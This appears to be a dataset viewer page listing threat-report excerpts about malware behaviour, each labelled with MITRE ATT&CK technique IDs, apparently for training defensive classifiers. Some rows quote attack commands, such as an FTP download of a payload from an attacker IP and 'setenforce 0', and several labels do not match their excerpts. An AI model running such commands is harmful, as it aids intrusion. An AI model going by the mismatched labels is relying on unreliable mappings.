text1 stringlengths 7 2.5k | labels stringlengths 9 100 |
|---|---|
Before proceeding to file encryption operations, the ransomware force stops (“kills”) processes listed by process name in a hard-coded list within the encoded strings of the malware. A full list with assessed process function or relationship is provided in Appendix A of this report. While some of the referenced process... | ['T1562.001'] |
The WannaCry malware consists of two distinct components, one that provides ransomware functionality and a component used for propagation, which contains functionality to enable SMB exploitation capabilities | ['T1210'] |
One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors' C2 server was the domain msdn[.]cloud | ['T1573.001'] |
In order to exfiltrate data, the plugin uses the function “post” in the HTTPClient class. Post” gives the plugin the ability to upload content and exfiltrate data to the remote C2 whose domain is stored in the registry | ['T1041'] |
The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed. This is an undocumented behavior in Microsoft Windows | ['T1559.002'] |
Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file dow... | ['T1070.004'] |
Trickbot is installed as a scheduled task, using names like “WinDotNet,” “GoogleTask,” or “Sysnetsf” to masquerade as legitimate-appearing processes. These point to various copies of TrickBot installed in the system, usually within the user profile under %USER_DIR%\AppData\Roaming\ or a subdirectory. The subdirectories... | ['T1543.003', 'T1036.004'] |
1) Establish persistence via the Startup folder or theRun registry key (some variants). 2) Inject itself to another process such as rundll32.exe and dllhost.exe (some variants). 3) Decrypt two blobs: Import Table and the loader configuration | ['T1547.001', 'T1055.001'] |
Aside from stealing credentials from applications, it also steals the following information from several popular web browsers such as Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge | ['T1555.003'] |
The adversary also used the commodity Cobalt Strike framework and Plink tunneling tool in many of these campaigns | ['T1558.003'] |
The Lizar server application, meanwhile, is written using the .NET framework and runs on a remote Linux host, researchers said. It supports encrypted communications with the bot client | ['T1573'] |
The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com | ['T1059.005'] |
Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4 | ['T1082', 'T1546.012'] |
It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process | ['T1055.012'] |
Each of the Silent Librarian lures ends with a very realistic looking closing signature containing contact information for the target library. This information is collected through open source research conducted by the threat actors. In some cases, all of the contact information can be found together on one webpage; ho... | ['T1594'] |
The primary objective of the HermeticWiper is to destroy the master boot record (MBR) of a system, shredding data and rendering the system unusable | ['T1561.002'] |
Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials | ['T1552.005'] |
FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script na... | ['T1562.001'] |
Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency | ['T1566.001'] |
Business info at outsidersecurity.nl . Introducing ROADtools - The Azure AD exploration framework . 15 minute read . Over the past 1.5 years I’ve been doing quite a lot of exploration into Azure AD and how it works under the hood. So I set myself a few goals: - Provide tooling for both Red teams and Blue teams to explo... | ['T1119'] |
After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be... | ['T1036.005'] |
The launcher then configures several Registry values, including SecurityPasswordAES, that control how the remote access tool will work | ['T1547.001', 'T1550.002'] |
DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads | ['T1083'] |
The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case | ['T1053.005'] |
Two PDF files (***_SPE_LEOS and ***_HPC_SE) with aerospace & defense industry themed images, created via the Microsoft Print to PDF service, were submitted along with ***_ECS_EPM.docx. The naming convention of these PDF files was very similar to the malicious documents used. The name includes abbreviations for posi... | ['T1566.001'] |
The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data... | ['T1041'] |
The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an ... | ['T1027'] |
If the file /usr/sbin/setenforce exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. I... | ['T1518.001'] |
One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that ... | ['T1036.005'] |
From a code perspective, little has changed between Ryuk binaries compiled in March and those compiled in September. The functionality has remained overall static since introducing features for targeting hosts on a local area network (LAN). The most notable change to Ryuk is the introduction of code obfuscation. The co... | ['T1027'] |
Since 2020, Proofpoint researchers have observed TA416, an actor assessed to be aligned with the Chinese state, utilizing web bugs to profile their targets. Commonly referred to as tracking pixels, web bugs embed a hyperlinked non-visible object within the body of an email that, when enabled, will attempt to retrieve a... | ['T1608'] |
Cybercriminals will often use LNK files attached in an email to launch an attack on unsuspecting victims. And we recently noticed another campaign using this technique | ['T1204.002'] |
After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint | ['T1590'] |
A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back | ['T1608.005'] |
Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable | ['T1561.002'] |
Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL and Sandboxies - Calling IsDebuggerPresent and GetTickCount to identify a debugger - Checking VMWare related file | ['T1497.001'] |
The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system | ['T1083', 'T1048.003'] |
CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has be... | ['T1543.001'] |
For every hard-coded TCP port used to communicate with the C&C servers, the malware creates a rule in Netfilter — the Linux kernel firewall — using the iptc_insert_entry() function from libiptc1 to allow output communication to it | ['T1562.004'] |
38, the credentials are retrieved from the logins.json file and the browser history is retrieved from the places.sqlite database | ['T1217'] |
The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request | ['T1071.001'] |
1) Copy itself to the %APPDATA%\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location. 2) If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file pa... | ['T1547.001'] |
As we mentioned, the adversary used a technique called template injection. A .docx file is a zip file containing multiple parts. Using the template injection technique, the adversary puts a link towards the template file in one of the .XML files, for example the link is in settings.xml.rels while the external oleobject... | ['T1036'] |
We suspect that the malware uses this extension to grab the victim’s cookies and use them from another device to ride the victim’s active session | ['T1539'] |
Last but not least, the malware creates an id, in the same way as seen in previous Zebrocy binaries. It retrieves the UserName via the GetUserNameW Windows API and prepends the volume serial number of the C:\ drive | ['T1082'] |
Should the victim use one of these portable browsers with a proxy server configured, the malware can find that in the user’s preferences and use that proxy to communicate with its C&C servers | ['T1090.002'] |
APT10 has targeted or compromised manufacturing companies in India, Japan and Northern Europe; a mining company in South America; and multiple IT service providers worldwide. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through s... | ['T1199'] |
Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: "Disabled: Specifies that the service should not be ... | ['T1489'] |
In another update, the P8RAT sample from August 2020 looks for two process names (“VBoxService.exe” and “vmtoolsd.exe”) on the victim’s system, to detect VMware or VirtualBox environments at the beginning of its main malicious function | ['T1497.001'] |
While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Chr... | ['T1059.005'] |
PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB | ['T1059.003'] |
In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of... | ['T1566.001'] |
The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext,... | ['T1140'] |
Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment | ['T1016'] |
Curl is used to send the AWS credentials to TeamTNT’s server, which responds with the message “THX | ['T1071.001'] |
The Helminth executable is able to communicate with its C2 server via HTTP and via DNS queries in very similar ways to the Helminth script variant. In fact, the DNS beacons follow the same structure and sequence as the script variant of Helminth discussed in the previous section | ['T1573.001'] |
All this information was then sent to one of the following domains: G1 also had the ability to execute commands remotely on the infected host machine at the author's will | ['T1059.003'] |
NoComm – No command, which causes the script to keep sending POST requests. Base64 string – A module to execute. The module is encrypted with a simple substitution cipher and encoded in base64 | ['T1573.001'] |
Those payloads consist of a legitimate and signed Microsoft executable used as a DLL search-order hijacking host and a malicious DLL loaded by that executable. The malicious DLL is a ShadowPad loader | ['T1574.001'] |
Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged... | ['T1071.002'] |
Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and... | ['T1550'] |
Let’s look at an example. During our investigation of an infection at a computer game company, we found that malware had been created for a particular service on the company’s server. The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in... | ['T1057'] |
1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.ba... | ['T1564.001'] |
The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial versio... | ['T1071.004'] |
The TrickBot module used for credential harvesting is pwgrab64. As with all modules launched by the TrickBot core, pwgrab64 is installed into a subfolder, usually named either “modules” or “data,” and modified the following registry value | ['T1112'] |
This command will attempt to download and execute a remote file via the Microsoft Windows built-in certutil utility. More information on this technique and the CARROTBAT malware family may be found within the Appendix | ['T1105'] |
REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. Finally, REvil terminates execution | ['T1071.001'] |
Anchor_DNS was able to stay under-the-radar by using specific execution flags. If these command-line arguments are not supplied, the Anchor_DNS terminates | ['T1480'] |
The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal | ['T1102.002'] |
The dns.ps1 script is also responsible for communicating with the C2 server, but it uses DNS queries to send data to the server. The DNS queries sent by this script are queries to subdomains on the same domain as the C2 server, which contains system information or the contents of files from the system. The subdomain of... | ['T1012'] |
Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of... | ['T1059.001'] |
On the first contact, it will send an identification of the victim based on the hard disk volume serial number. Talos didn't identify any kind of anti-sandboxing mechanisms on it, either | ['T1082'] |
When checking network connection with the “netstat” command, both cases use the “-naop” option in conjunction with the “tcp“ - Filtering the result, both cases use the “findstr” command instead of “find | ['T1049'] |
This module was delivered, like many other tools, in a 7z self-extracting archive. Inside, there was a password-protected RAR archive containing a few files | ['T1027'] |
For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP | ['T1071.001', 'T1041', 'T1071', 'T1132'] |
FIN5, which earlier this year was profiled by researchers at Trend Micro and has been in action since at least 2008, uses real credentials from the victim organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. Vengerik says the attackers got those credentials via third parties associated with ... | ['T1078', 'T1133'] |
The first action performed by the crypter code is to check some specific registry key. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique | ['T1012', 'T1497.001'] |
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April. The worm specifically scans for the existence of the DoublePulsar backdoor on compromised systems. If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using t... | ['T1018'] |
Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive | ['T1053.005', 'T1547.001'] |
The actor has used this method on its 2019 campaign as well. This UAC bypass starts by executing wusa.exe using ShellExecuteExw and gets its access token using NtOpenProcessToken. Then the access token of wusa.exe is duplicated using NtDuplicatetoken. The DesiredAccess parameter of this function specifies the requested... | ['T1134.002'] |
The main infection vector for Poseidon is the use of spear-phishing emails including RTF/DOC files, usually with a human resources lure. Poseidon’s toolkit displays an awareness of many antivirus providers over the years, attempting to attack or spoof these processes as a means of self-defense for their infections | ['T1036.005'] |
On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identi... | ['T1204.001'] |
PlugX — A remote access tool notable for communications that may contain HTTP headers starting with "X-" (e.g. X-Session: 0"). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be con... | ['T1071.001'] |
1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has ... | ['T1204.001'] |
After the credit cards are first scanned in real time, the personal account number (PAN) and accompanying data sits in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. During that time, the point-of-sale malware opens up the process memory searching for eleme... | ['T1005'] |
Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an x... | ['T1053.002', 'T1053.005'] |
The kernel driver is a commercial product that the attackers are abusing called RawDisk by EldoS Corporation, which provides direct access to files, disks and partitions. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used i... | ['T1561.002', 'T1485', 'T1485'] |
The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic intuitions and this is still the case, along side “.tk” and “.cf | ['T1583.001'] |
The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443. After connecting to its C2 server, RCSession checks in with an encrypted beacon and then awaits instruction. The ORat tool, which appears to be used less frequently by the group, ... | ['T1573'] |
Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway | ['T1016'] |
The two main changes are the obfuscation and the network protocol to communicate to the C2 server. The developers used two different obfuscation algorithms: one for the C2 encoding and one for the data. The C2 encoding is a simple XOR (as in 2012): The C2 encoding communication is also different. As the data are now se... | ['T1041'] |
The malware sets information like the C2 server, ID, the downloaded payload, and the decoded project.aspx in a registry key under “HKCU\Software\ApplicationContainer\Appsw64”. These keys will be used in the second stage | ['T1112'] |
The Helminth executable variant is able to run batch scripts provided by the C2 server, which is very similar to the script version of this Trojan. The executable variant has one additional capability that is not present in the script version, which involves the ability to log keystrokes via a supplemental keylogger mo... | ['T1059.003', 'T1115', 'T1056.001'] |
The ransom note instructs the victim to use a unique URL to decrypt their files. Victims must provide the key and extension name included in the ransom note. The key specified in the ransom note is the Base64-encoded representation of the encrypted stat data stored in the registry | ['T1486'] |
1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Initially, they will hide the main spreadsheet that requested the user to “enable editing”, then unhide a secondary spreadsheet that contains the decoy, to avoid... | ['T1112'] |
All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “<Module>.\u200E” function | ['T1027'] |
They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes | ['T1005'] |
Volexity's investigation into this incident determined the attacker had accessed the Duo integration secret key (akey) from the OWA server. This key then allowed the attacker to derive a pre-computed value to be set in the duo-sid cookie. After successful password authentication, the server evaluated the duo-sid cookie... | ['T1550.004', 'T1606.001'] |
The legitimate DLL that would be used in this case has the size of roughly 600 KB, but here we have an obfuscated library that is over 600 MB. The large size of the file is intended to hamper analysis and detection. Once all empty sections have been removed from the library, the final payload is a binary of 27.5 MB | ['T1027.001'] |
Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions | ['T1574.001'] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.